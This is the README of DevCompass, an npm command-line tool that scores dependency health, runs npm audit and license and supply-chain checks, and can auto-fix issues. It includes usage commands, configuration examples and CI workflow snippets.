DevCompass monitors real-time GitHub activity for 500+ packages to detect potential issues before they're officially reported!

What it tracks:

  • 🐛 Open bug reports in the last 7/30 days
  • 🔥 High-activity packages with unusual issue spikes
  • 📈 Trend analysis (increasing/stable/decreasing)
  • ⚠️ Critical issues flagged by maintainers

Currently tracked packages (502+):

Organized into 33 categories covering the entire JavaScript ecosystem:

Web & UI Frameworks (25): react, vue, angular, svelte, preact, solid-js, lit, alpine, qwik, astro, etc.

Meta Frameworks (15): next, nuxt, gatsby, remix, sveltekit, blitz, redwood, docusaurus, etc.

Mobile Frameworks (10): react-native, ionic, expo, capacitor, cordova, etc.

Backend Frameworks (20): express, koa, fastify, hapi, nest, strapi, meteor, trpc, apollo-server, etc.

Build Tools (25): webpack, vite, rollup, parcel, esbuild, turbopack, swc, babel, rome, etc.

Testing Frameworks (25): jest, mocha, vitest, cypress, playwright, puppeteer, storybook, etc.

Linters & Formatters (15): eslint, prettier, stylelint, biome, dprint, etc.

TypeScript Tools (15): typescript, ts-node, tsx, zod, yup, joi, ajv, etc.

State Management (20): redux, mobx, zustand, jotai, recoil, valtio, xstate, etc.

HTTP Clients (20): axios, got, ky, superagent, undici, @tanstack/react-query, swr, etc.

Utilities (50): lodash, moment, dayjs, chalk, ora, commander, uuid, nanoid, etc.

CSS & Styling (25): tailwindcss, sass, styled-components, emotion, unocss, etc.

Plus 21 more categories: Documentation, Database & ORM, GraphQL, Authentication, Validation, Reactivity, Animation, Charts, UI Libraries, Forms, Routing, File Upload, Markdown, Image Processing, Email, WebSockets, Compression, Security, CLI Tools, Performance, and Miscellaneous.

Example Output:

🔮 PREDICTIVE WARNINGS (2) Based on recent GitHub activity (502+ packages monitored): 🟠 axios High bug activity detected 15 new issues in last 7 days → Consider delaying upgrade or monitoring closely GitHub: https://github.com/axios/axios 🟡 webpack Increased issue activity 8 issues opened recently → Monitor for stability GitHub: https://github.com/webpack/webpack

How it works:

  1. Fetches live issue data from GitHub API
  2. Analyzes issue frequency (last 7/30 days)
  3. Detects critical issues via labels
  4. Calculates risk scores
  5. Provides actionable recommendations
  6. Smart filtering: Only checks packages you've actually installed
  7. Parallel processing: Checks multiple packages simultaneously (v2.6.0)

Performance (v2.6.0+):

  • Parallel processing: Checks 5 packages simultaneously (80% faster!)
  • Smart filtering: Only checks installed packages from your project
  • First run: ~1 second for 5 packages (was ~5s in v2.5.0)
  • Cached runs: ~0.5 seconds (93% faster!)
  • Cache duration: 1 hour
  • Zero overhead: Uninstalled packages aren't checked

Performance Benchmarks: | Packages | v2.5.0 | v2.6.0+ | Improvement | |----------|--------|---------|-------------| | 5 | ~5s | ~1s | 80% faster | | 10 | ~10s | ~2s | 80% faster | | 20 | ~20s | ~4s | 80% faster | | 50 | ~50s | ~10s | 80% faster |

Performance Example: If you have 5 tracked packages installed (e.g., react, axios, lodash, express, webpack), DevCompass checks all 5 in parallel, completing in ~1 second instead of ~5 seconds!

🔐 Security & Compliance Features

Security Vulnerability Scanning

DevCompass integrates with npm audit to detect security vulnerabilities automatically!

Example Output:

🔐 SECURITY VULNERABILITIES (12) 🔴 CRITICAL: 2 🟠 HIGH: 4 🟡 MODERATE: 5 ⚪ LOW: 1 Run npm audit fix to fix vulnerabilities

How it works:

  1. Runs npm audit in the background
  2. Parses vulnerability data
  3. Shows severity breakdown
  4. Impacts health score (-2.5 per critical issue)
  5. Suggests fix commands

Health Score Impact:

  • Critical: −2.5 points each
  • High: −1.5 points each
  • Moderate: −0.5 points each
  • Low: −0.2 points each

Bundle Size Analysis

Identify large dependencies that bloat your node_modules!

Example Output:

📦 HEAVY PACKAGES (3) Packages larger than 1MB: webpack 2.3 MB typescript 8.1 MB @tensorflow/tfjs 12.4 MB

Perfect for:

  • Frontend developers optimizing bundle size
  • Identifying unnecessary large dependencies
  • Web performance optimization
  • Docker image size reduction

License Compliance Checker

Detect restrictive licenses that may require legal review!

Example Output:

⚖️ LICENSE WARNINGS (2) sharp - Restrictive (LGPL-3.0) custom-lib - Unknown (UNLICENSED) Note: Restrictive licenses may require legal review

What gets flagged:

  • Restrictive licenses: GPL, AGPL, LGPL (may require source code disclosure)
  • Unknown licenses: Packages without license information
  • Unlicensed packages: Legal risk for commercial use

Supported licenses:

  • Safe: MIT, Apache-2.0, BSD, ISC, CC0
  • ⚠️ Restrictive: GPL, AGPL, LGPL
  • Unknown: Missing or custom licenses

Combined Analysis Example

Full Output (v2.8.3):

🔍 DevCompass v2.8.3 - Analyzing your project... ✔ Scanned 25 dependencies in project ⚡ GitHub check completed in 1.23s (parallel processing) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ✅ SECURITY VULNERABILITIES No vulnerabilities detected! ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ✅ SUPPLY CHAIN SECURITY No supply chain risks detected! ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 🚨 ECOSYSTEM ALERTS (1) 🟠 HIGH [email protected] Issue: Memory leak in request interceptors Fix: 1.6.2 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ✅ PREDICTIVE ANALYSIS No unusual activity detected (502+ packages monitored)! ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ✅ LICENSE COMPLIANCE All licenses are compliant! ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 📊 PACKAGE QUALITY METRICS (20 analyzed) ✅ HEALTHY PACKAGES (18) react, axios, lodash, express, webpack... 🟡 NEEDS ATTENTION (2) [email protected] Health Score: 6.5/10 Last Update: 8 months ago ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 📦 HEAVY PACKAGES (2) Packages larger than 1MB: typescript 8.1 MB webpack 2.3 MB ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 📊 PROJECT HEALTH Overall Score: 8.5/10 Total Dependencies: 25 Supply Chain Warnings: 0 Ecosystem Alerts: 1 Predictive Warnings: 0 License Risks: 0 Quality Issues: 0 Unused: 0 Outdated: 2 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 💡 SECURITY RECOMMENDATIONS (Prioritized) 🟠 HIGH (Fix Soon)

Upgrade vulnerable package Package: [email protected] $ npm install [email protected]

📈 Expected Impact: ✓ Current Health Score: 8.5/10 ✓ Expected Score: 9.8/10 ✓ Improvement: +1.3 points (13% increase) 💡 TIP: Run 'devcompass fix' to apply these fixes automatically!

🚀 CI/CD Integration

JSON Output

Perfect for parsing in CI/CD pipelines:

devcompass analyze --json

Output (v2.8.3):

{
  "version": "2.8.3",
  "timestamp": "2026-04-05T10:30:00.000Z",
  "summary": {
    "healthScore": 8.5,
    "totalDependencies": 25,
    "securityVulnerabilities": 0,
    "supplyChainWarnings": 0,
    "ecosystemAlerts": 1,
    "predictiveWarnings": 0,
    "licenseRisks": 0,
    "qualityIssues": 0,
    "unusedDependencies": 0,
    "outdatedPackages": 2
  },
  "supplyChain": {
    "total": 0,
    "warnings": []
  },
  "licenseRisk": {
    "total": 0,
    "projectLicense": "MIT",
    "warnings": []
  },
  "packageQuality": {
    "total": 20,
    "healthy": 18,
    "needsAttention": 2,
    "packages": [...]
  },
  "recommendations": {
    "total": 1,
    "critical": 0,
    "high": 1,
    "items": [...]
  }
}

CI Mode

Automatically fail builds if health score is too low:

devcompass analyze --ci
  • Exit code 0 if score ≥ threshold (default: 7/10)
  • Exit code 1 if score < threshold

GitHub Actions Example:

name: Dependency Health Check

on: [push, pull_request]

jobs:
  health-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
      - run: npm install
      - run: npx devcompass analyze --ci
      - run: npx devcompass fix --yes  # Auto-fix in CI

Silent Mode

For background checks or scripts:

devcompass analyze --silent
echo $?  # Check exit code

⚡ Smart Caching

DevCompass caches results to improve performance:

  • First run: ~2 seconds with parallel processing (fetches GitHub + npm data)
  • Cached runs: ~0.5 seconds (93% faster!)
  • Cache duration: 1 hour
  • Cache file: .devcompass-cache.json (auto-gitignored)

What gets cached (v2.8.3):

  • Supply chain analysis
  • License risk data
  • Package quality metrics
  • Security recommendations
  • GitHub issue data
  • Predictive warnings
  • Security vulnerabilities
  • Ecosystem alerts
  • Unused dependencies
  • Outdated packages
  • Bundle sizes
  • License information

Disable caching:

// devcompass.config.json
{
  "cache": false
}

🎛️ Advanced Configuration

Create devcompass.config.json in your project root:

{
  "ignore": ["lodash", "moment"],
  "ignoreSeverity": ["low"],
  "minSeverity": "medium",
  "minScore": 7,
  "cache": true
}

Configuration Options

| Option | Type | Description | Example | |--------|------|-------------|---------| | ignore | string[] | Ignore specific packages from alerts | ["lodash", "axios"] | | ignoreSeverity | string[] | Ignore severity levels | ["low", "medium"] | | minSeverity | string | Only show alerts above this level | "high" (shows critical + high) | | minScore | number | Minimum score for CI mode | 7 (fails if < 7) | | cache | boolean | Enable/disable caching | true |

Severity Levels (highest to lowest)

  1. critical - Immediate security risk
  2. high - Production stability issues
  3. medium - Maintenance concerns
  4. low - Minor issues

Example Configurations

Security-focused (strict):

{
  "minSeverity": "critical",
  "minScore": 9
}

Balanced (recommended):

{
  "ignoreSeverity": ["low"],
  "minScore": 7
}

Relaxed (development):

{
  "ignoreSeverity": ["low", "medium"],
  "minScore": 5
}

🚨 Ecosystem Intelligence

DevCompass tracks real-world issues in 500+ popular packages and warns you before they break production!

What Gets Detected:

  • 🔴 Critical security vulnerabilities - Zero-day exploits, prototype pollution
  • 🟠 High-severity bugs - Memory leaks, data corruption, breaking changes
  • 🟡 Deprecated packages - Unmaintained dependencies
  • Low-priority issues - Minor bugs, cosmetic problems

Severity Levels:

  • CRITICAL - Immediate security risk or data loss (−2.0 points per issue)
  • HIGH - Production stability issues (−1.5 points per issue)
  • MEDIUM - Maintenance concerns, deprecations (−0.5 points per issue)
  • LOW - Minor issues (−0.2 points per issue)

How It Works:

  1. Reads your actual installed versions from node_modules
  2. Matches against curated issues database
  3. Uses semantic versioning for precise detection
  4. Checks live GitHub activity for 502+ packages
  5. Uses parallel processing for 80% faster checks (v2.6.0)
  6. Analyzes supply chain security (v2.7.0)
  7. Auto-fixes supply chain issues (v2.8.1)
  8. Auto-fixes license conflicts (v2.8.2)
  9. Auto-fixes package quality issues (v2.8.3)
  10. Shows actionable fix commands

🎯 What It Detects

Unused Dependencies

  • Uses AST parsing via depcheck
  • Scans all .js, .jsx, .ts, .tsx files
  • Excludes node_modules, dist, build folders
  • Framework-aware (automatically ignores framework core packages)

Automatically Ignored Packages

DevCompass won't flag these as unused (they're typically used in config files):

  • Frameworks: React, Next.js, Angular, NestJS
  • Build tools: Webpack, Vite, Rollup, ESBuild
  • Testing: Jest, Vitest, Mocha, Testing Library
  • CSS/PostCSS: PostCSS, Autoprefixer, Tailwind CSS, cssnano
  • Linting/Formatting: ESLint, Prettier, ESLint plugins/configs
  • TypeScript: TypeScript, @types/* packages

Outdated Packages

  • Checks against npm registry
  • Shows current vs latest versions
  • Indicates update type (major/minor/patch)

Health Score

Calculated from 0-10 based on:

  • Percentage of unused dependencies (−4 points per 100%)
  • Percentage of outdated packages (−3 points per 100%)
  • Ecosystem alerts by severity (−0.2 to −2.0 per issue)
  • Security vulnerabilities by severity (−0.2 to −2.5 per issue)
  • Supply chain warnings (−2.0 per critical issue)
  • License risk warnings (−1.5 per critical issue)
  • Package quality issues (−1.0 per abandoned/deprecated package)
  • Higher score = healthier project

⚙️ Commands & Options

Commands

# Analyze project dependencies
devcompass analyze

# Auto-fix issues (includes supply chain + license + quality fixes!)
devcompass fix

# Preview fixes without changes
devcompass fix --dry-run

# Show version
devcompass --version
devcompass -v

# Show help
devcompass --help
devcompass -h

Analyze Options

# Analyze specific directory
devcompass analyze --path /path/to/project

# JSON output (for CI/CD)
devcompass analyze --json

# CI mode (fail if score < threshold)
devcompass analyze --ci

# Silent mode (no output)
devcompass analyze --silent

# Combine options
devcompass analyze --path ./my-project --json

Fix Options

# Preview fixes without making changes
devcompass fix --dry-run
devcompass fix --dry  # Shorthand

# Fix specific directory
devcompass fix --path /path/to/project

# Auto-apply without confirmation
devcompass fix --yes
devcompass fix -y

# Combine options
devcompass fix --path ./my-project --yes

🔄 Complete Workflows

Local Development Workflow

# Check project health
devcompass analyze

# Preview fixes (including supply chain + license + quality)
devcompass fix --dry-run

# Apply fixes
devcompass fix

# Verify improvements
devcompass analyze

CI/CD Pipeline Workflow

# Analyze and export JSON
devcompass analyze --json > health-report.json

# Dry-run in PR checks (no changes)
devcompass fix --dry-run

# Auto-fix in deployment pipeline (includes supply chain + license + quality)
devcompass fix --yes

# Fail build if score too low
devcompass analyze --ci

# Or combine with other checks
devcompass analyze --ci && npm test && npm run build

Pre-commit Hook Workflow

# .husky/pre-commit
#!/bin/sh
devcompass analyze --silent
if [ $? -ne 0 ]; then
  echo "❌ Dependency health check failed!"
  exit 1
fi

Security-Focused Workflow

# 1. Run comprehensive security scan
devcompass analyze

# 2. Check for critical vulnerabilities
devcompass analyze --json | jq '.security.critical'

# 3. Check supply chain risks
devcompass analyze --json | jq '.supplyChain.warnings'

# 4. Check license risks
devcompass analyze --json | jq '.licenseRisk.warnings'

# 5. Check quality issues
devcompass analyze --json | jq '.packageQuality.abandoned'

# 6. Preview all fixes
devcompass fix --dry-run

# 7. Auto-fix all issues (supply chain → license → quality → security!)
devcompass fix --yes

# 8. Verify fixes
devcompass analyze

⚠️ Known Issues & Best Practices

Installation

  • Recommended: Install globally with npm install -g devcompass
  • If installed locally, DevCompass may appear in the unused dependencies list (this is expected)
  • You'll see a warning if running from local installation

Dependency Warnings

Some deprecation warnings may appear during installation. These come from third-party dependencies (depcheck, npm-check-updates) and don't affect functionality.

False Positives

DevCompass is smart about config-based dependencies, but occasionally may flag packages that are only used in:

  • Config files (webpack.config.js, next.config.js, etc.)
  • Build scripts
  • Type definitions

If you encounter a false positive, please report it!

Cache Management

  • Cache files (.devcompass-cache.json) are automatically gitignored
  • Cache expires after 1 hour
  • Delete cache file manually if needed: rm .devcompass-cache.json

Backup Management (v2.8.0+)

  • Backup files (.devcompass-backups/) are automatically gitignored
  • Last 5 backups kept automatically
  • Restore manually if needed from .devcompass-backups/

🛠️ Requirements

  • Node.js >= 14.0.0
  • npm or yarn

💡 Tips

  1. Run regularly - Add to your CI/CD pipeline or git hooks
  2. Use fix command - Let DevCompass handle routine maintenance + supply chain + license + quality fixes
  3. Use dry-run first - Test fixes safely with --dry-run before applying
  4. Check security first - Prioritize fixing critical vulnerabilities
  5. Monitor supply chain - DevCompass auto-fixes malicious packages (v2.8.1)
  6. Monitor license compliance - DevCompass auto-fixes GPL/AGPL conflicts (v2.8.2)
  7. Monitor package quality - DevCompass auto-fixes abandoned/deprecated packages (v2.8.3)
  8. Review licenses - Ensure compliance with your legal requirements
  9. Configure severity levels - Filter out noise with minSeverity
  10. Enable CI mode - Catch issues before they reach production
  11. Use JSON output - Integrate with your monitoring tools
  12. Review major updates - Always check changelogs before major version bumps
  13. Keep backups - DevCompass auto-creates them
  14. Review fix reports - Check devcompass-fix-report.json for audit trail
  15. Watch predictive warnings - Monitor packages with increasing issue activity
  16. Leverage parallel processing - First run takes ~2s with v2.6.0
  17. Track package quality - Replace abandoned packages proactively
  18. Update regularly - Stay on latest version for bug fixes and new features!
  19. Trust auto-fix - Supply chain, license, and quality fixes are thoroughly tested (v2.8.1-2.8.3)

🤝 Contributing

Contributions are welcome! Feel free to:

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/amazing-feature)
  3. Commit your changes (git commit -m 'Add amazing feature')
  4. Push to the branch (git push origin feature/amazing-feature)
  5. Open a Pull Request

Adding Issues to Database

Want to add known issues for a package?

  1. Edit data/issues-db.json
  2. Follow the existing format:
{
  "package-name": [
    {
      "title": "Brief issue description",
      "severity": "critical|high|medium|low",
      "affected": "semver range (e.g., >=1.0.0 <2.0.0)",
      "fix": "Fixed version or migration advice",
      "source": "GitHub Issue #123 or npm advisory",
      "reported": "YYYY-MM-DD"
    }
  ]
}
  1. Submit a PR with your additions!

Adding Malicious Packages

Help protect the community! Add known malicious packages:

  1. Edit data/known-malicious.json
  2. Add to malicious_packages array or typosquat_patterns
  3. Submit a PR with evidence/source

Adding Package Alternatives

Help expand the alternative package databases:

  1. License alternatives: Edit data/package-alternatives.json
  2. Quality alternatives: Edit data/quality-alternatives.json
  3. Add GPL, AGPL, LGPL, or abandoned packages with MIT/Apache alternatives
  4. Include migration guides where available
  5. Submit a PR with package details

Development

# Clone the repo
git clone https://github.com/AjayBThorat-20/devcompass.git
cd devcompass

# Install dependencies
npm install

# Test locally
node bin/devcompass.js analyze
node bin/devcompass.js fix
node bin/devcompass.js fix --dry-run

# Run on test projects
cd /tmp
mkdir test-project && cd test-project
npm init -y
npm install [email protected] [email protected] [email protected] [email protected]
node ~/devcompass/bin/devcompass.js analyze
node ~/devcompass/bin/devcompass.js fix --dry-run
node ~/devcompass/bin/devcompass.js fix

📝 License

MIT © Ajay Thorat

🔗 Links

🙏 Acknowledgments

Built with:

📈 Stats

Check out DevCompass stats:

🌟 What's Next?

Roadmap

  • [x] ~~Automatic fix command~~ ✅ Added in v2.1!
  • [x] ~~CI/CD integration with JSON output~~ ✅ Added in v2.2!
  • [x] ~~Smart caching system~~ ✅ Added in v2.2!
  • [x] ~~Custom ignore rules via config file~~ ✅ Added in v2.2!
  • [x] ~~npm audit integration~~ ✅ Added in v2.3!
  • [x] ~~Bundle size analysis~~ ✅ Added in v2.3!
  • [x] ~~License compliance checker~~ ✅ Added in v2.3!
  • [x] ~~Fix all security vulnerabilities~~ ✅ Fixed in v2.3.1!
  • [x] ~~GitHub Issues API for real-time issue tracking~~ ✅ Added in v2.4.0!
  • [x] ~~Predictive warnings based on bug activity~~ ✅ Added in v2.4.0!
  • [x] ~~Expand to top 500 npm packages~~ ✅ Added in v2.5.0!
  • [x] ~~Performance optimizations with parallel processing~~ ✅ Added in v2.6.0!
  • [x] ~~Advanced security features~~ ✅ Added in v2.7.0!
    • [x] Supply chain security analysis
    • [x] Enhanced license risk detection
    • [x] Package quality metrics
    • [x] Security recommendations engine
  • [x] ~~Fix false positive typosquatting warnings~~ ✅ Fixed in v2.7.1!
  • [x] ~~Enhanced fix command improvements~~ ✅ Added in v2.8.0!
    • [x] Dry-run mode
    • [x] Progress tracking with ETA
    • [x] Automatic backups
    • [x] Fix reports
    • [x] Enhanced error handling
  • [x] ~~Supply chain auto-fix~~ ✅ Added in v2.8.1!
  • [x] ~~License conflict resolution~~ ✅ Added in v2.8.2!
  • [x] ~~Package quality auto-fix~~ ✅ Added in v2.8.3!
  • [ ] Backup & rollback command (v2.8.4)
  • [ ] Batch fix modes (v2.8.5)
  • [ ] Dependency graph visualization (v3.0.0)
  • [ ] Web dashboard for team health monitoring (v3.0.0)
  • [ ] Team collaboration features (v3.1.0)
  • [ ] Slack/Discord notifications (v3.1.0)

Want to contribute? Pick an item and open an issue! 🚀


Made with ❤️ by Ajay Thorat

DevCompass - Keep your dependencies healthy! 🧭

Like Lighthouse for your dependencies